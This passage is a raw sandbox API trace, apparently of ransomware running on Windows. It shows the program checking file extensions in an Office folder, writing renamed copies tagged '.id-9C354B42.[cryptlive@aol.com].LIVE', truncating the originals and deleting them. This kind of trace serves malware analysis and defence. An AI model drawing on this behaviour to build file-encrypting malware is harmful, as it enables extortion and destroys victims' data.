lpString2=".HLP") returned 1 [0139.048] lstrlenW (lpString=".xlsx") returned 5 [0139.048] lstrcmpiW (lpString1=".xlsx", lpString2="0.HLP") returned -1 [0139.048] lstrlenW (lpString=".ppt") returned 4 [0139.048] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0139.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0139.048] lstrlenW (lpString=".zip") returned 4 [0139.048] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0139.048] lstrlenW (lpString=".rar") returned 4 [0139.048] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0139.048] lstrlenW (lpString=".bz2") returned 4 [0139.048] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0139.048] lstrlenW (lpString=".7z") returned 3 [0139.048] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0139.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0139.048] lstrlenW (lpString=".dbf") returned 4 [0139.048] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0139.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0139.048] lstrlenW (lpString=".1cd") returned 4 [0139.048] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0139.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0139.048] lstrlenW (lpString=".jpg") returned 4 [0139.049] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0139.049] lstrcmpiW (lpString1=".VRD", lpString2=".LIVE") returned 1 [0139.049] lstrlenW (lpString="ASSET.VRD") returned 9 [0139.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.049] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1694) returned 1 [0139.049] CloseHandle (hObject=0x3ac) returned 1 [0139.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd")) returned 0x20 [0139.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.050] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.050] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0139.050] GetLastError () returned 0x0 [0139.050] ReadFile (in: hFile=0x3ac, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x69e, lpOverlapped=0x0) returned 1 [0139.052] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x6a0, lpOverlapped=0x0) returned 1 [0139.052] ReadFile (in: hFile=0x3ac, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0139.053] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0139.053] SetEndOfFile (hFile=0x3a0) returned 1 [0139.053] CloseHandle (hObject=0x3a0) returned 1 [0139.053] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.053] SetEndOfFile (hFile=0x3ac) returned 1 [0139.055] CloseHandle (hObject=0x3ac) returned 1 [0139.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.056] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd")) returned 1 [0139.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0139.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0139.056] lstrlenW (lpString=".doc") returned 4 [0139.056] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0139.056] lstrlenW (lpString=".docx") returned 5 [0139.056] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0139.056] lstrlenW (lpString=".pdf") returned 4 [0139.056] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0139.056] lstrlenW (lpString=".xls") returned 4 [0139.056] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0139.056] lstrlenW (lpString=".xlsx") returned 5 [0139.056] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0139.056] lstrlenW (lpString=".ppt") returned 4 [0139.056] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0139.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0139.056] lstrlenW (lpString=".zip") returned 4 [0139.056] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0139.056] lstrlenW (lpString=".rar") returned 4 [0139.056] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0139.056] lstrlenW (lpString=".bz2") returned 4 [0139.056] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0139.056] lstrlenW (lpString=".7z") returned 3 [0139.057] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0139.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0139.057] lstrlenW (lpString=".dbf") returned 4 [0139.057] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0139.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0139.057] lstrlenW (lpString=".1cd") returned 4 [0139.057] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0139.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0139.057] lstrlenW (lpString=".jpg") returned 4 [0139.057] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0139.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0139.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0139.057] lstrlenW (lpString=".doc") returned 4 [0139.057] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0139.057] lstrlenW (lpString=".docx") returned 5 [0139.057] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0139.057] lstrlenW (lpString=".pdf") returned 4 [0139.057] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0139.057] lstrlenW (lpString=".xls") returned 4 [0139.057] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0139.057] lstrlenW (lpString=".xlsx") returned 5 [0139.057] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0139.057] lstrlenW (lpString=".ppt") returned 4 [0139.057] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0139.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0139.057] lstrlenW (lpString=".zip") returned 4 [0139.057] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0139.057] lstrlenW (lpString=".rar") returned 4 [0139.057] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0139.057] lstrlenW (lpString=".bz2") returned 4 [0139.057] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0139.057] lstrlenW (lpString=".7z") returned 3 [0139.057] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0139.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0139.057] lstrlenW (lpString=".dbf") returned 4 [0139.058] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0139.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0139.058] lstrlenW (lpString=".1cd") returned 4 [0139.058] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0139.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0139.058] lstrlenW (lpString=".jpg") returned 4 [0139.058] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0139.058] lstrcmpiW (lpString1=".dll", lpString2=".LIVE") returned -1 [0139.058] lstrlenW (lpString="BCSRuntimeRes.dll") returned 17 [0139.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bcsruntimeres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.059] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=24960) returned 1 [0139.059] CloseHandle (hObject=0x3ac) returned 1 [0139.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bcsruntimeres.dll")) returned 0x20 [0139.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bcsruntimeres.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bcsruntimeres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0139.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0139.059] lstrlenW (lpString=".doc") returned 4 [0139.059] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0139.059] lstrlenW (lpString=".docx") returned 5 [0139.060] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0139.060] lstrlenW (lpString=".pdf") returned 4 [0139.060] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0139.060] lstrlenW (lpString=".xls") returned 4 [0139.060] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0139.060] lstrlenW (lpString=".xlsx") returned 5 [0139.060] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0139.060] lstrlenW (lpString=".ppt") returned 4 [0139.060] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0139.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0139.060] lstrlenW (lpString=".zip") returned 4 [0139.060] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0139.060] lstrlenW (lpString=".rar") returned 4 [0139.060] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0139.060] lstrlenW (lpString=".bz2") returned 4 [0139.060] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0139.060] lstrlenW (lpString=".7z") returned 3 [0139.060] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0139.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0139.060] lstrlenW (lpString=".dbf") returned 4 [0139.060] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0139.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0139.060] lstrlenW (lpString=".1cd") returned 4 [0139.060] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0139.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0139.060] lstrlenW (lpString=".jpg") returned 4 [0139.060] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0139.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0139.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0139.060] lstrlenW (lpString=".doc") returned 4 [0139.060] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0139.060] lstrlenW (lpString=".docx") returned 5 [0139.060] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0139.060] lstrlenW (lpString=".pdf") returned 4 [0139.060] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0139.060] lstrlenW (lpString=".xls") returned 4 [0139.061] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0139.061] lstrlenW (lpString=".xlsx") returned 5 [0139.061] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0139.061] lstrlenW (lpString=".ppt") returned 4 [0139.061] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0139.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0139.061] lstrlenW (lpString=".zip") returned 4 [0139.061] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0139.061] lstrlenW (lpString=".rar") returned 4 [0139.061] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0139.061] lstrlenW (lpString=".bz2") returned 4 [0139.061] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0139.061] lstrlenW (lpString=".7z") returned 3 [0139.061] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0139.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0139.061] lstrlenW (lpString=".dbf") returned 4 [0139.061] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0139.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0139.061] lstrlenW (lpString=".1cd") returned 4 [0139.061] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0139.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0139.061] lstrlenW (lpString=".jpg") returned 4 [0139.061] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0139.061] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0139.061] lstrlenW (lpString="BHOINTL.DLL") returned 11 [0139.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.062] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=10104) returned 1 [0139.062] CloseHandle (hObject=0x3ac) returned 1 [0139.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll")) returned 0x20 [0139.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0139.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0139.062] lstrlenW (lpString=".doc") returned 4 [0139.062] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0139.062] lstrlenW (lpString=".docx") returned 5 [0139.062] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0139.062] lstrlenW (lpString=".pdf") returned 4 [0139.062] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0139.062] lstrlenW (lpString=".xls") returned 4 [0139.062] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0139.062] lstrlenW (lpString=".xlsx") returned 5 [0139.062] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0139.062] lstrlenW (lpString=".ppt") returned 4 [0139.063] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0139.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0139.063] lstrlenW (lpString=".zip") returned 4 [0139.063] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0139.063] lstrlenW (lpString=".rar") returned 4 [0139.063] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0139.063] lstrlenW (lpString=".bz2") returned 4 [0139.063] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0139.063] lstrlenW (lpString=".7z") returned 3 [0139.063] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0139.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0139.063] lstrlenW (lpString=".dbf") returned 4 [0139.063] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0139.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0139.063] lstrlenW (lpString=".1cd") returned 4 [0139.063] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0139.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0139.063] lstrlenW (lpString=".jpg") returned 4 [0139.063] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0139.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0139.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0139.063] lstrlenW (lpString=".doc") returned 4 [0139.063] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0139.063] lstrlenW (lpString=".docx") returned 5 [0139.063] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0139.063] lstrlenW (lpString=".pdf") returned 4 [0139.063] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0139.063] lstrlenW (lpString=".xls") returned 4 [0139.063] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0139.063] lstrlenW (lpString=".xlsx") returned 5 [0139.063] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0139.063] lstrlenW (lpString=".ppt") returned 4 [0139.063] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0139.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0139.063] lstrlenW (lpString=".zip") returned 4 [0139.064] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0139.064] lstrlenW (lpString=".rar") returned 4 [0139.064] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0139.064] lstrlenW (lpString=".bz2") returned 4 [0139.064] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0139.064] lstrlenW (lpString=".7z") returned 3 [0139.064] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0139.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0139.064] lstrlenW (lpString=".dbf") returned 4 [0139.064] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0139.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0139.064] lstrlenW (lpString=".1cd") returned 4 [0139.064] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0139.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0139.064] lstrlenW (lpString=".jpg") returned 4 [0139.064] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0139.064] lstrcmpiW (lpString1=".VSL", lpString2=".LIVE") returned 1 [0139.064] lstrlenW (lpString="BSTORM.VSL") returned 10 [0139.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.065] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=45968) returned 1 [0139.065] CloseHandle (hObject=0x3ac) returned 1 [0139.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl")) returned 0x20 [0139.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.066] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.066] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0139.066] GetLastError () returned 0x0 [0139.066] ReadFile (in: hFile=0x3ac, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0xb390, lpOverlapped=0x0) returned 1 [0139.070] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xb3a0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xb3a0, lpOverlapped=0x0) returned 1 [0139.071] ReadFile (in: hFile=0x3ac, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0139.071] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0139.071] SetEndOfFile (hFile=0x3a0) returned 1 [0139.072] CloseHandle (hObject=0x3a0) returned 1 [0139.072] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.072] SetEndOfFile (hFile=0x3ac) returned 1 [0139.074] CloseHandle (hObject=0x3ac) returned 1 [0139.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.075] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl")) returned 1 [0139.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0139.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0139.076] lstrlenW (lpString=".doc") returned 4 [0139.076] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0139.076] lstrlenW (lpString=".docx") returned 5 [0139.076] lstrcmpiW (lpString1=".docx", lpString2="M.VSL") returned -1 [0139.076] lstrlenW (lpString=".pdf") returned 4 [0139.076] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0139.076] lstrlenW (lpString=".xls") returned 4 [0139.076] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0139.076] lstrlenW (lpString=".xlsx") returned 5 [0139.076] lstrcmpiW (lpString1=".xlsx", lpString2="M.VSL") returned -1 [0139.076] lstrlenW (lpString=".ppt") returned 4 [0139.076] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 